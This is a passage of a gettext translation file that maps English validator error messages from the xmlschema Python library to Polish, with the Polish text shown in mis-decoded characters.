mieć atrybut 'public' lub 'system'" #: xmlschema/validators/particles.py:122 msgid "minOccurs value is not an integer value" msgstr "wartość minOccurs nie jest liczbÄ… caÅ‚kowitÄ…" #: xmlschema/validators/particles.py:126 msgid "minOccurs value must be a non negative integer" msgstr "wartość minOccurs musi być nieujemnÄ… liczbÄ… caÅ‚kowitÄ…" #: xmlschema/validators/particles.py:134 msgid "minOccurs must be lesser or equal than maxOccurs" msgstr "minOccurs musi być mniejsze lub rĂ³wne maxOccurs" #: xmlschema/validators/particles.py:142 msgid "maxOccurs value must be a non negative integer or 'unbounded'" msgstr "wartość maxOccurs musi być nieujemnÄ… liczbÄ… caÅ‚kowitÄ… lub 'unbounded'" #: xmlschema/validators/particles.py:146 msgid "maxOccurs must be 'unbounded' or greater than minOccurs" msgstr "maxOccurs musi być 'unbounded' lub wiÄ™ksze niż minOccurs" #: xmlschema/validators/assertions.py:76 msgid "base_type={!r} is not a complexType definition" msgstr "base_type={!r} nie jest definicjÄ… complexType" #: xmlschema/validators/elements.py:162 #, python-format msgid "unknown element %r" msgstr "nieznany element %r" #: xmlschema/validators/elements.py:179 msgid "attribute {!r} is not allowed when element reference is used" msgstr "atrybut {!r} nie jest dozwolony, gdy używane jest odwoÅ‚anie do elementu" #: xmlschema/validators/elements.py:200 msgid "local scope elements cannot have abstract attribute" msgstr "elementy zasiÄ™gu lokalnego nie mogÄ… mieć atrybutu 'abstract'" #: xmlschema/validators/elements.py:227 msgid "attribute {!r} is not allowed in a global element declaration" msgstr "atrybut {!r} nie jest dozwolony w globalnej deklaracji elementu" #: xmlschema/validators/elements.py:232 msgid "attribute {!r} not allowed in a local element declaration" msgstr "atrybut {!r} niedozwolony w deklaracji elementu lokalnego" #: xmlschema/validators/elements.py:250 xmlschema/validators/elements.py:1460 #: xmlschema/validators/simple_types.py:859 #: xmlschema/validators/simple_types.py:1024 #: xmlschema/validators/simple_types.py:1240 msgid "unknown type {!r}" msgstr "nieznany typ {!r}" #: xmlschema/validators/elements.py:255 msgid "the attribute 'type' and a xs:{} local declaration are mutually exclusive" msgstr "atrybut 'type' i deklaracja lokalna xs:{} wzajemnie siÄ™ wykluczajÄ…" #: xmlschema/validators/elements.py:274 xmlschema/validators/attributes.py:165 msgid "'default' and 'fixed' attributes are mutually exclusive" msgstr "Atrybuty 'default' i 'fixed' wzajemnie siÄ™ wykluczajÄ…" #: xmlschema/validators/elements.py:278 msgid "'default' value {!r} is not compatible with element's type" msgstr "wartość 'default' {!r} nie jest zgodna z typem elementu" #: xmlschema/validators/elements.py:282 msgid "xs:ID or a type derived from xs:ID cannot have a default value" msgstr "xs:ID lub typ wywodzÄ…cy siÄ™ z xs:ID nie może mieć wartoÅ›ci domyÅ›lnej" #: xmlschema/validators/elements.py:288 msgid "'fixed' value {!r} is not compatible with element's type" msgstr "wartość 'fixed' {!r} nie jest zgodna z typem elementu" #: xmlschema/validators/elements.py:292 msgid "xs:ID or a type derived from xs:ID cannot have a fixed value" msgstr "xs:ID lub typ wywodzÄ…cy siÄ™ z xs:ID nie może mieć staÅ‚ej wartoÅ›ci" #: xmlschema/validators/elements.py:311 xmlschema/validators/elements.py:319 #, python-format msgid "duplicated identity constraint %r:" msgstr "zduplikowane ograniczenie tożsamoÅ›ci %r:" #: xmlschema/validators/elements.py:341 #, python-format msgid "unknown substitutionGroup %r" msgstr "nieznana substitutionGroup %r" #: xmlschema/validators/elements.py:346 #, python-format msgid "circularity found for substitutionGroup %r" msgstr "okrÄ…gÅ‚ość znaleziona dla substitutionGroup %r" #: xmlschema/validators/elements.py:361 msgid "{0!r} type is not of the same or a derivation of the head element {1!r} type" msgstr "typ {0!r} nie jest tym samym lub pochodnym typem elementu gÅ‚Ă³wnego {1!r}" #: xmlschema/validators/elements.py:365 #, python-format msgid "head element %r can't be substituted by an element that has a derivation of its type" msgstr "element gÅ‚Ă³wny %r nie może być zastÄ…piony przez element, ktĂ³ry ma pochodnÄ… swojego typu" #: xmlschema/validators/elements.py:369 #, python-format msgid "head element %r can't be substituted by an element that has an extension of its type" msgstr "element gÅ‚Ă³wny %r nie może być zastÄ…piony przez element, ktĂ³ry ma rozszerzenie jego typu" #: xmlschema/validators/elements.py:373 #, python-format msgid "head element %r can't be substituted by an element that has a restriction of its type" msgstr "element gÅ‚Ă³wny %r nie może zostać zastÄ…piony przez element, ktĂ³ry ma ograniczenie typu" #: xmlschema/validators/elements.py:547 msgid "schemaLocation declaration after namespace start" msgstr "deklaracja schemaLocation po uruchomieniu przestrzeni nazw" #: xmlschema/validators/elements.py:556 #, python-format msgid "missing dynamic loaded schema from %s" msgstr "brak dynamicznie zaÅ‚adowanego schematu z %s" #: xmlschema/validators/elements.py:559 msgid "dynamic loaded schema change the assessment" msgstr "dynamicznie zaÅ‚adowany schemat zmienia ocenÄ™" #: xmlschema/validators/elements.py:610 msgid "cannot use an abstract element for validation" msgstr "nie może używać elementu abstrakcyjnego do walidacji" #: xmlschema/validators/elements.py:667 xmlschema/validators/identities.py:219 msgid "selector xpath expression can only select elements" msgstr "wyrażenie xpath selektora może wybierać tylko elementy" #: xmlschema/validators/elements.py:673 #, python-format msgid "usage of %r is blocked" msgstr "użycie %r jest zablokowane" #: xmlschema/validators/elements.py:677 #, python-format msgid "%r is abstract" msgstr "%r jest abstrakcyjne" #: xmlschema/validators/elements.py:705 msgid "element is not nillable" msgstr "element nie jest wymazywalny" #: xmlschema/validators/elements.py:708 msgid "xsi:nil attribute must have a boolean value" msgstr "atrybut xsi:nil musi mieć wartość logicznÄ…" #: xmlschema/validators/elements.py:713 msgid "xsi:nil='true' but the element has a fixed value" msgstr "xsi:nil='true', ale element ma stałą wartość" #: xmlschema/validators/elements.py:716 msgid "xsi:nil='true' but the element is not empty" msgstr "xsi:nil='true', ale element nie jest pusty" #: xmlschema/validators/elements.py:722 msgid "character data is not allowed because content is empty" msgstr "dane znakowe nie sÄ… dozwolone, ponieważ zawartość jest pusta" #: xmlschema/validators/elements.py:744 xmlschema/validators/elements.py:760 #, python-format msgid "must have the fixed value %r" msgstr "musi mieć stałą wartość %r" #: xmlschema/validators/elements.py:749 msgid "a simple content element can't have child elements" msgstr "prosty element treÅ›ci nie może mieć elementĂ³w podrzÄ™dnych" #: xmlschema/validators/elements.py:778 xmlschema/validators/attributes.py:237 msgid "cannot validate against xs:NOTATION directly, only against a subtype with an enumeration facet" msgstr "nie może bezpoÅ›rednio walidować xs:NOTATION, a jedynie podtyp z aspektem wyliczeniowym" #: xmlschema/validators/elements.py:782 xmlschema/validators/attributes.py:241 msgid "missing enumeration facet in xs:NOTATION subtype" msgstr "brak aspektu wyliczenia w podtypie xs:NOTATION" #: xmlschema/validators/elements.py:1245 msgid "test attribute missing in non-final alternative" msgstr "brak atrybutu testowego w nieostatecznej alternatywie" #: xmlschema/validators/elements.py:1370 msgid "Maybe a not equivalent type table between elements {0!r} and {1!r}" msgstr "Być może tabela typĂ³w nie jest rĂ³wnoważna miÄ™dzy elementami {0!r} i {1!r}" #: xmlschema/validators/elements.py:1446 msgid "missing 'type' attribute" msgstr "brakujÄ…cy atrybut 'type'" #: xmlschema/validators/elements.py:1454 msgid "declared type is not derived from {!r}" msgstr "zadeklarowany typ nie pochodzi od {!r}" #: xmlschema/validators/elements.py:1464 msgid "type {0!r} is not derived from {1!r}" msgstr "typ {0!r} nie jest pochodnÄ… {1!r}" #: xmlschema/validators/elements.py:1469 #, python-format msgid "the attribute 'type' and the xs:%s local declaration are mutually exclusive" msgstr "atrybut 'type' i deklaracja lokalna xs:%s wzajemnie siÄ™ wykluczajÄ…" #: xmlschema/validators/global_maps.py:77 msgid "global {0} with name={1!r} is already defined" msgstr "globalny {0} z name={1!r} jest już zdefiniowany" #: xmlschema/validators/global_maps.py:90 msgid "multiple redefinition for {0} {1!r}" msgstr "wielokrotna redefinicja dla {0} {1!r}" #: xmlschema/validators/global_maps.py:102 msgid "circular redefinition for {0} {1!r}" msgstr "redefinicja koÅ‚owa dla {0} {1!r}" #: xmlschema/validators/global_maps.py:117 msgid "not a redefinition!" msgstr "nie jest redefinicjÄ…!" #: xmlschema/validators/global_maps.py:234 msgid "wrong tag {!r} for an XSD global definition/declaration" msgstr "nieprawidÅ‚owy znacznik {!r} dla globalnej definicji/deklaracji XSD" #: xmlschema/validators/global_maps.py:313 #: xmlschema/validators/global_maps.py:330 msgid "wrong element {0!r} for map {1!r}" msgstr "błędny element {0!r} dla mapy {1!r}" #: xmlschema/validators/global_maps.py:339 msgid "redefined schema {!r} has a different targetNamespace" msgstr "zredefiniowany schemat {!r} ma inny targetNamespace" #: xmlschema/validators/global_maps.py:350 msgid "unexpected instance {!r} in global map" msgstr "nieoczekiwana instancja {!r} w mapie globalnej" #: xmlschema/validators/global_maps.py:382 msgid "{0!r} cannot substitute {1!r}" msgstr "{0!r} nie może zastÄ…pić {1!r}" #: xmlschema/validators/global_maps.py:578 msgid "missing XSD namespace in meta-schema instance {!r}" msgstr "brakujÄ…ca przestrzeÅ„ nazw XSD w instancji metaschematu {!r}" #: xmlschema/validators/global_maps.py:587 msgid "missing default meta-schema instance {!r}" msgstr "brakujÄ…ca domyÅ›lna instancja metaschematu {!r}" #: xmlschema/validators/global_maps.py:639 msgid "defaultAttributes={0!r} doesn't match any attribute group of {1!r}" msgstr "defaultAttributes={0!r} nie pasuje do żadnej grupy atrybutĂ³w {1!r}" #: xmlschema/validators/global_maps.py:682 msgid "global element not built!" msgstr "element globalny nie zostaÅ‚ utworzony!" #: xmlschema/validators/global_maps.py:684 msgid "circularity found for substitution group with head element {}" msgstr "koÅ‚owość znaleziona dla grupy podstawieniowej z elementem gÅ‚Ă³wnym {}" #: xmlschema/validators/global_maps.py:689 #, python-format msgid "global map has unbuilt components: %r" msgstr "mapa globalna ma niezbudowane komponenty: %r" #: xmlschema/validators/global_maps.py:694 msgid "global group not built!" msgstr "grupa globalna nie zostaÅ‚a utworzona!" #: xmlschema/validators/global_maps.py:701 msgid "the redefined group is an illegal restriction" msgstr "przedefiniowana grupa jest nielegalnym ograniczeniem" #: xmlschema/validators/global_maps.py:717 msgid "the derived group is an illegal restriction" msgstr "grupa pochodna jest nielegalnym ograniczeniem" #: xmlschema/validators/global_maps.py:727 msgid "restriction has an open content but base type has not" msgstr "ograniczenie ma otwartÄ… zawartość, ale typ bazowy nie ma" #: xmlschema/validators/global_maps.py:733 msgid "can't verify the content model of {!r} due to exceeding of maximum recursion depth" msgstr "nie może zweryfikować modelu zawartoÅ›ci {!r} z powodu przekroczenia maksymalnej głębokoÅ›ci rekurencji" #: xmlschema/validators/facets.py:63 msgid "invalid type {!r} provided" msgstr "podano nieprawidÅ‚owy typ {!r}" #: xmlschema/validators/facets.py:84 msgid "{0!r} facet value is fixed to {1!r}" msgstr "wartość aspektu {0!r} zostaÅ‚a ustalona na {1!r}" #: xmlschema/validators/facets.py:135 xmlschema/validators/facets.py:138 msgid "facet value can be only 'collapse'" msgstr "wartość aspektu może być tylko 'collapse'" #: xmlschema/validators/facets.py:140 msgid "facet value can be only 'replace' or 'collapse'" msgstr "wartość aspektu może być tylko 'replace' lub 'collapse'" #: xmlschema/validators/facets.py:145 msgid "value contains tabs or newlines" msgstr "wartość zawiera tabulatory lub znaki nowej linii" #: xmlschema/validators/facets.py:151 msgid "value contains non collapsed white spaces" msgstr "wartość zawiera niezawiniÄ™te biaÅ‚e spacje" #: xmlschema/validators/facets.py:175 msgid "base facet has a different length ({})" msgstr "aspekt podstawowy ma innÄ… dÅ‚ugość ({})" #: xmlschema/validators/facets.py:185 msgid "length has to be {!r}" msgstr "dÅ‚ugość musi wynosić {!r}" #: xmlschema/validators/facets.py:209 msgid "base facet has a greater min length ({})" msgstr "podstawowy aspekt ma wiÄ™kszÄ… minimalnÄ… dÅ‚ugość ({})" #: xmlschema/validators/facets.py:219 msgid "value length cannot be lesser than {!r}" msgstr "dÅ‚ugość wartoÅ›ci nie może być mniejsza niż {!r}" #: xmlschema/validators/facets.py:243 msgid "base type has a lesser max length ({})" msgstr "typ podstawowy ma mniejszÄ… maksymalnÄ… dÅ‚ugość ({})" #: xmlschema/validators/facets.py:253 msgid "value length cannot be greater than {!r}" msgstr "dÅ‚ugość wartoÅ›ci nie może być wiÄ™ksza niż {!r}" #: xmlschema/validators/facets.py:276 xmlschema/validators/facets.py:307 #: xmlschema/validators/facets.py:342 xmlschema/validators/facets.py:373 msgid "invalid restriction: {}" msgstr "nieprawidÅ‚owe ograniczenie: {}" #: xmlschema/validators/facets.py:281 msgid "value has to be greater or equal than {!r}" msgstr "wartość musi być wiÄ™ksza lub rĂ³wna {!r}" #: xmlschema/validators/facets.py:311 msgid "invalid restriction: {} is also the maximum" msgstr "nieprawidÅ‚owe ograniczenie: {} to także maksimum" #: xmlschema/validators/facets.py:317 msgid "value has to be greater than {!r}" msgstr "wartość musi być wiÄ™ksza niż {!r}" #: xmlschema/validators/facets.py:347 msgid "value has to be less than or equal than {!r}" msgstr "wartość musi być mniejsza lub rĂ³wna {!r}" #: xmlschema/validators/facets.py:377 msgid "invalid restriction: {} is also the minimum" msgstr "nieprawidÅ‚owe ograniczenie: {} to także maksimum" #: xmlschema/validators/facets.py:383 msgid "value has to be lesser than {!r}" msgstr "wartość musi być mniejsza niż {!r}" #: xmlschema/validators/facets.py:418 xmlschema/validators/facets.py:475 msgid "invalid restriction: base value is lower ({})" msgstr "nieprawidÅ‚owe ograniczenie: wartość podstawowa jest niższa ({})" #: xmlschema/validators/facets.py:428 msgid "the number of digits has to be lesser or equal than {!r}" msgstr "liczba cyfr musi być mniejsza lub rĂ³wna {!r}" #: xmlschema/validators/facets.py:456 msgid "fractionDigits facet can be applied only to types derived from xs:decimal" msgstr "aspekt fractionDigits można zastosować tylko do typĂ³w pochodnych od xs:decimal" #: xmlschema/validators/facets.py:470 msgid "fractionDigits facet value must be 0 for types derived from xs:integer" msgstr "wartość aspektu fractionDigits musi wynosić 0 dla typĂ³w pochodnych od xs:integer" #: xmlschema/validators/facets.py:485 msgid "the number of fraction digits has to be lesser or equal than {!r}" msgstr "liczba cyfr uÅ‚amkowych musi być mniejsza lub rĂ³wna {!r}" #: xmlschema/validators/facets.py:517 msgid "invalid restriction from {!r}" msgstr "nieprawidÅ‚owe ograniczenie z {!r}" #: xmlschema/validators/facets.py:522 msgid "time zone required for value {!r}" msgstr "strefa czasowa wymagana dla wartoÅ›ci {!r}" #: xmlschema/validators/facets.py:527 msgid "time zone prohibited for value {!r}" msgstr "strefa czasowa zabroniona dla wartoÅ›ci {!r}" #: xmlschema/validators/facets.py:571 msgid "value {!r} must match a notation declaration" msgstr "wartość {!r} musi być zgodna z deklaracjÄ… notacji" #: xmlschema/validators/facets.py:629 msgid "value must be one of {!r}" msgstr "wartość musi być jednÄ… z {!r}" #: xmlschema/validators/facets.py:725 msgid "value doesn't match any pattern of {!r}" msgstr "wartość nie pasuje do żadnego wzorca {!r}" #: xmlschema/validators/facets.py:789 msgid "missing attribute 'test'" msgstr "brakujÄ…cy atrybut 'test'" #: xmlschema/validators/facets.py:819 msgid "value is not true with test path {!r}" msgstr "wartość nie jest prawdziwa dla Å›cieżki testowej {!r}" #: xmlschema/validators/attributes.py:82 msgid "unknown attribute {!r}" msgstr "nieznany atrybut {!r}" #: xmlschema/validators/attributes.py:97 msgid "referenced attribute has a different fixed value {!r}" msgstr "przywoÅ‚ywany atrybut ma innÄ… stałą wartość {!r}" #: xmlschema/validators/attributes.py:102 msgid "attribute {!r} is not allowed when attribute reference is used" msgstr "atrybut {!r} nie jest dozwolony, gdy używane jest odwoÅ‚anie do atrybutu" #: xmlschema/validators/attributes.py:118 msgid "an attribute name must be different from 'xmlns'" msgstr "nazwa atrybutu musi być rĂ³Å¼na od 'xmlns'" #: xmlschema/validators/attributes.py:125 #, python-format msgid "cannot add attributes in %r namespace" msgstr "nie można dodać atrybutĂ³w w %r przestrzeni nazw" #: xmlschema/validators/attributes.py:146 msgid "ambiguous type definition for XSD attribute" msgstr "niejednoznaczna definicja typu dla atrybutu XSD" #: xmlschema/validators/attributes.py:158 msgid "XSD attribute's type must be a simpleType" msgstr "typ atrybutu XSD musi być simpleType" #: xmlschema/validators/attributes.py:169 msgid "the attribute 'use' must be 'optional' if the attribute 'default' is present" msgstr "atrybut 'use' musi być 'optional', jeÅ›li atrybut 'default' jest obecny" #: xmlschema/validators/attributes.py:174 msgid "default value {!r} is not compatible with attribute's type" msgstr "wartość domyÅ›lna {!r} nie jest zgodna z typem atrybutu" #: xmlschema/validators/attributes.py:177 msgid "xs:ID key attributes cannot have a default value" msgstr "atrybuty klucza xs:ID nie mogÄ… mieć wartoÅ›ci domyÅ›lnej" #: xmlschema/validators/attributes.py:183 msgid "fixed value {!r} is not compatible with attribute's type" msgstr "staÅ‚a wartość {!r} nie jest zgodna z typem atrybutu" #: xmlschema/validators/attributes.py:186 msgid "xs:ID key attributes cannot have a fixed value" msgstr "atrybuty klucza xs:ID nie mogÄ… mieć staÅ‚ej wartoÅ›ci" #: xmlschema/validators/attributes.py:249 msgid "attribute {0!r} has a fixed value {1!r}" msgstr "atrybut {0!r} ma stałą wartość {1!r}" #: xmlschema/validators/attributes.py:254 msgid "attribute {0}={1!r}: {2}" msgstr "atrybut {0}={1!r}: {2}" #: xmlschema/validators/attributes.py:319 msgid "attribute 'fixed' with use=prohibited is not allowed in XSD 1.1" msgstr "atrybut 'fixed' z use=prohibited nie jest dozwolony w XSD 1.1." #: xmlschema/validators/attributes.py:413 msgid "more anyAttribute declarations in the same attribute group" msgstr "wiÄ™cej deklaracji anyAttribute w tej samej grupie atrybutĂ³w" #: xmlschema/validators/attributes.py:416 msgid "another declaration after anyAttribute" msgstr "another declaration after anyAttribute" #: xmlschema/validators/attributes.py:431 msgid "multiple declaration for attribute {!r}" msgstr "wielokrotna deklaracja atrybutu {!r}" #: xmlschema/validators/attributes.py:440 msgid "the attribute 'ref' is required in a local attributeGroup" msgstr "atrybut 'ref' jest wymagany w lokalnej atrybutGroup" #: xmlschema/validators/attributes.py:450 msgid "duplicated attributeGroup {!r}" msgstr "zduplikowany attributeGroup {!r}" #: xmlschema/validators/attributes.py:456 msgid "in a redefinition the reference to itself must be the first" msgstr "w redefinicji odwoÅ‚anie do siebie musi być pierwsze" #: xmlschema/validators/attributes.py:467 msgid "attributeGroup ref={!r} is not in the redefined group" msgstr "attributeGroup ref={!r} nie znajduje siÄ™ w przedefiniowanej grupie" #: xmlschema/validators/attributes.py:471 msgid "Circular attribute groups not allowed in XSD 1.0" msgstr "Cykliczne grupy atrybutĂ³w niedozwolone w XSD 1.0" #: xmlschema/validators/attributes.py:479 msgid "unknown attribute group {!r}" msgstr "nieznana grupa atrybutĂ³w {!r}" #: xmlschema/validators/attributes.py:488 msgid "multiple declaration of attribute {!r}" msgstr "wielokrotna deklaracja atrybutu {!r}" #: xmlschema/validators/attributes.py:497 msgid "Circular reference found between attribute groups {0!r} and {1!r}" msgstr "Odniesienie cykliczne miÄ™dzy grupami atrybutĂ³w {0!r} i {1!r}" #: xmlschema/validators/attributes.py:502 msgid "(attribute | attributeGroup) expected, found {!r}." msgstr "(attribute | attributeGroup) oczekiwany, znaleziony {!r}." #: xmlschema/validators/attributes.py:513 msgid "Unexpected attribute {!r} in restriction" msgstr "Nieoczekiwany atrybut {!r} w ograniczeniu" #: xmlschema/validators/attributes.py:529 msgid "Attribute wildcard is not a restriction of the base wildcard" msgstr "Symbol wieloznaczny atrybutu nie jest ograniczeniem podstawowego symbolu wieloznacznego" #: xmlschema/validators/attributes.py:539 msgid "Attribute type is not a restriction of the base attribute type" msgstr "Typ atrybutu nie jest ograniczeniem podstawowego typu atrybutu" #: xmlschema/validators/attributes.py:544 msgid "Attribute {!r}: unmatched attribute use in restriction" msgstr "Atrybut {!r}: niezrĂ³wnane użycie atrybutu w ograniczeniu" #: xmlschema/validators/attributes.py:550 msgid "Attribute {!r}: derived attribute has a different fixed value" msgstr "Atrybut {!r}: atrybut pochodny ma innÄ… stałą wartość" #: xmlschema/validators/attributes.py:554 msgid "Attribute {!r}: 'inheritable' property change in restriction" msgstr "Atrybut {!r}: zmiana wÅ‚aÅ›ciwoÅ›ci 'dziedziczony' w ograniczeniu" #: xmlschema/validators/attributes.py:568 msgid "Missing required attribute {!r} in redefinition restriction" msgstr "BrakujÄ…cy wymagany atrybut {!r} w ograniczeniu redefinicji" #: xmlschema/validators/attributes.py:573 msgid "Attribute {!r}: unmatched attribute use in redefinition" msgstr "Atrybut {!r}: użycie niedopasowanego atrybutu w redefinicji" #: xmlschema/validators/attributes.py:576 msgid "Attribute {!r}: redefinition remove fixed constraint" msgstr "Atrybut {!r}: redefinicja usuwa staÅ‚e ograniczenie" #: xmlschema/validators/attributes.py:585 msgid "Redefinition restriction contains additional attribute {!r}" msgstr "Ograniczenie przedefiniowania zawiera dodatkowy atrybut {!r}" #: xmlschema/validators/attributes.py:589 msgid "Wrong attribute order in redefinition restriction" msgstr "NieprawidÅ‚owa kolejność atrybutĂ³w w ograniczeniu redefinicji" #: xmlschema/validators/attributes.py:607 msgid "multiple ID attributes not allowed for XSD 1.0" msgstr "wiele atrybutĂ³w ID niedozwolonych dla XSD 1.0" #: xmlschema/validators/attributes.py:660 #: xmlschema/validators/attributes.py:738 msgid "missing required attribute {!r}" msgstr "brak wymaganego atrybutu {!r}" #: xmlschema/validators/attributes.py:695 #: xmlschema/validators/attributes.py:760 #, python-format msgid "%r is not an attribute of the XSI namespace" msgstr "%r nie jest atrybutem przestrzeni nazw XSI" #: xmlschema/validators/attributes.py:703 #: xmlschema/validators/attributes.py:768 #, python-format msgid "%r attribute not allowed for element" msgstr "atrybut %r niedozwolony dla elementu" #: xmlschema/validators/attributes.py:709 #, python-format msgid "use of attribute %r is prohibited" msgstr "użycie atrybutu %r jest zabronione" #: xmlschema/validators/exceptions.py:342 #, python-format msgid "The content of element %r is not complete." msgstr "Zawartość elementu %r nie jest kompletna." #: xmlschema/validators/exceptions.py:345 #, python-format msgid "Unexpected child with tag %r at position %d." msgstr "Nieoczekiwany element potomny ze znacznikiem %r na pozycji %d." #: xmlschema/validators/exceptions.py:372 #, python-format msgid " Tag (%s) expected." msgstr " Oczekiwany znacznik (%s)." #: xmlschema/validators/exceptions.py:374 #, python-format msgid " Tag %s expected." msgstr " Oczekiwany znacznik %s." #: xmlschema/validators/exceptions.py:376 #, python-format msgid " Tag %r expected." msgstr " Oczekiwany znacznik %r." #: xmlschema/validators/groups.py:355 msgid "{!r} is not a particle of the model group" msgstr "{!r} nie jest czÄ…stkÄ… grupy modelowej" #: xmlschema/validators/groups.py:413 xmlschema/validators/groups.py:455 msgid "attribute 'name' not allowed in a local group" msgstr "atrybut 'name' niedozwolony w grupie lokalnej" #: xmlschema/validators/groups.py:422 #, python-format msgid "missing group %r" msgstr "brakujÄ…ca grupa %r" #: xmlschema/validators/groups.py:429 xmlschema/validators/groups.py:485 msgid "maxOccurs must be 1 for 'all' model groups" msgstr "maxOccurs musi wynosić 1 dla grup modeli 'all'" #: xmlschema/validators/groups.py:432 xmlschema/validators/groups.py:488 #: xmlschema/validators/groups.py:1285 msgid "minOccurs must be (0 | 1) for 'all' model groups" msgstr "minOccurs musi wynosić (0 | 1) dla grup modeli 'all'" #: xmlschema/validators/groups.py:435 msgid "in XSD 1.0 an 'all' model group cannot be nested" msgstr "w XSD 1.0 grupa modeli 'all' nie może być zagnieżdżona" #: xmlschema/validators/groups.py:441 xmlschema/validators/groups.py:523 #: xmlschema/validators/groups.py:1317 #, python-format msgid "Circular definition detected for group %r" msgstr "Wykryto definicjÄ™ cyklicznÄ… dla grupy %r" #: xmlschema/validators/groups.py:459 xmlschema/validators/groups.py:469 msgid "attribute 'minOccurs' not allowed in a global group" msgstr "atrybut 'minOccurs' niedozwolony w grupie globalnej" #: xmlschema/validators/groups.py:462 xmlschema/validators/groups.py:472 msgid "attribute 'maxOccurs' not allowed in a global group" msgstr "atrybut 'maxOccurs' niedozwolony w grupie globalnej" #: xmlschema/validators/groups.py:499 msgid "'all' model can contain only elements" msgstr "model 'all' może zawierać tylko elementy" #: xmlschema/validators/groups.py:509 xmlschema/validators/groups.py:1301 msgid "missing attribute 'ref' in local group" msgstr "brakujÄ…cy atrybut 'ref' w grupie lokalnej" #: xmlschema/validators/groups.py:518 msgid "'all' model can appears only at 1st level of a model group" msgstr "model 'all' może pojawić siÄ™ tylko na pierwszym poziomie grupy modeli." #: xmlschema/validators/groups.py:527 xmlschema/validators/groups.py:1321 msgid "Redefined group reference cannot have minOccurs/maxOccurs other than 1" msgstr "Przedefiniowane odniesienie do grupy nie może mieć minOccurs/maxOccurs innego niż 1" #: xmlschema/validators/groups.py:821 msgid "Element Declarations Consistent violation between {0!r} and {1!r}: match the same name but with different types" msgstr "Deklaracje elementĂ³w spĂ³jne naruszenie miÄ™dzy {0!r} i {1!r}: pasujÄ… do tej samej nazwy, ale z rĂ³Å¼nymi typami" #: xmlschema/validators/groups.py:835 msgid "{0!r} and {1!r} overlap and are in the same {2!r} group" msgstr "{0!r} i {1!r} pokrywajÄ… siÄ™ i sÄ… w tej samej grupie {2!r}" #: xmlschema/validators/groups.py:847 msgid "Unique Particle Attribution violation between {0!r} and {1!r}" msgstr "Unikalne naruszenie atrybucji czÄ…stek miÄ™dzy {0!r} i {1!r}" #: xmlschema/validators/groups.py:860 #, python-format msgid "substitution of %r is blocked" msgstr "podstawienie %r jest zablokowane" #: xmlschema/validators/groups.py:909 msgid "usage of {0!r} with type {1} is blocked by head element" msgstr "użycie {0!r} z typem {1} jest blokowane przez element gÅ‚Ă³wny" #: xmlschema/validators/groups.py:934 msgid "{0!r} that matches {1!r} is not consistent with local declaration {2!r}" msgstr "{0!r}, ktĂ³ra pasuje do {1!r} nie jest spĂ³jna z lokalnÄ… deklaracjÄ… {2!r}" #: xmlschema/validators/groups.py:940 msgid "Maybe a not equivalent type table between elements {0!r} and {1!r}." msgstr "Może nie być rĂ³wnoważnej tabeli typĂ³w miÄ™dzy elementami {0!r} i {1!r}." #: xmlschema/validators/groups.py:970 msgid "an empty 'choice' group with minOccurs > 0 cannot validate any content" msgstr "pusta grupa 'choice' z minOccurs > 0 nie może zweryfikować żadnej zawartoÅ›ci" #: xmlschema/validators/groups.py:982 xmlschema/validators/groups.py:1242 msgid "character data between child elements not allowed" msgstr "niedozwolone dane znakowe miÄ™dzy elementami podrzÄ™dnymi" #: xmlschema/validators/groups.py:995 #, python-format msgid "XML data depth exceeded (MAX_XML_DEPTH=%r)" msgstr "przekroczona głębokość danych XML (MAX_XML_DEPTH=%r)" #: xmlschema/validators/groups.py:1202 msgid "{!r} does not match any declared element of the model group" msgstr "{!r} nie pasuje do żadnego zadeklarowanego elementu grupy modeli" #: xmlschema/validators/groups.py:1205 msgid "{0} has an unknown prefix {1!r}" msgstr "{0} ma nieznany prefiks {1!r}" #: xmlschema/validators/groups.py:1238 msgid "wrong content type {!r}" msgstr "nieprawidÅ‚owy typ zawartoÅ›ci {!r}" #: xmlschema/validators/groups.py:1282 msgid "maxOccurs must be (0 | 1) for 'all' model groups" msgstr "maxOccurs musi wynosić (0 | 1) dla grup modeli 'all'" #: xmlschema/validators/groups.py:1311 #, python-brace-format msgid "an xs:{0} group cannot include a reference to an xs:{1} group" msgstr "grupa xs:{0} nie może zawierać odniesienia do grupy xs:{1}" #: xmlschema/validators/wildcards.py:76 #, python-format msgid "wrong value %r in 'namespace' attribute" msgstr "nieprawidÅ‚owa wartość %r w atrybucie 'namespace'" #: xmlschema/validators/wildcards.py:85 #, python-format msgid "wrong value %r for 'processContents' attribute" msgstr "nieprawidÅ‚owa wartość %r dla atrybutu 'processContents'" #: xmlschema/validators/wildcards.py:94 msgid "'namespace' and 'notNamespace' attributes are mutually exclusive" msgstr "atrybuty 'namespace' i 'notNamespace' wzajemnie siÄ™ wykluczajÄ…" #: xmlschema/validators/wildcards.py:105 #, python-format msgid "wrong value %r in 'notNamespace' attribute" msgstr "nieprawidÅ‚owa wartość %r w atrybucie 'notNamespace'" #: xmlschema/validators/wildcards.py:121 msgid "wrong value for 'notQName' attribute" msgstr "nieprawidÅ‚owa wartość dla atrybutu 'notQName'" #: xmlschema/validators/wildcards.py:128 #, python-format msgid "unmapped QName in 'notQName' attribute: %s" msgstr "niezamapowana nazwa QName w atrybucie 'notQName': %s" #: xmlschema/validators/wildcards.py:132 #, python-format msgid "wrong QName format in 'notQName' attribute: %s" msgstr "nieprawidÅ‚owy format QName w atrybucie 'notQName': %s" #: xmlschema/validators/wildcards.py:140 msgid "the namespace of each QName in notQName is allowed by notNamespace" msgstr "przestrzeÅ„ nazw każdej QName w notQName jest dozwolona przez notNamespace" #: xmlschema/validators/wildcards.py:144 msgid "names in notQName must be in namespaces that are allowed" msgstr "nazwy w notQName muszÄ… należeć do przestrzeni nazw, ktĂ³re sÄ… dozwolone" #: xmlschema/validators/wildcards.py:319 msgid "not expressible wildcard namespace union: {0!r} V {1!r}:" msgstr "niewyrażalna unia przestrzeni nazw z symbolami wieloznacznymi: {0!r} V {1!r}:" #: xmlschema/validators/wildcards.py:473 xmlschema/validators/wildcards.py:515 msgid "element {!r} is not allowed here" msgstr "element {!r} jest tutaj niedozwolony" #: xmlschema/validators/wildcards.py:651 xmlschema/validators/wildcards.py:681 #, python-format msgid "attribute %r not allowed" msgstr "atrybut %r niedozwolony" #: xmlschema/validators/wildcards.py:663 xmlschema/validators/wildcards.py:693 #, python-format msgid "attribute %r not found" msgstr "nie znaleziono atrybutu %r" #: xmlschema/validators/wildcards.py:670 xmlschema/validators/wildcards.py:700 msgid "unavailable namespace {!r}" msgstr "niedostÄ™pna przestrzeÅ„ nazw {!r}" #: xmlschema/validators/wildcards.py:857 #, 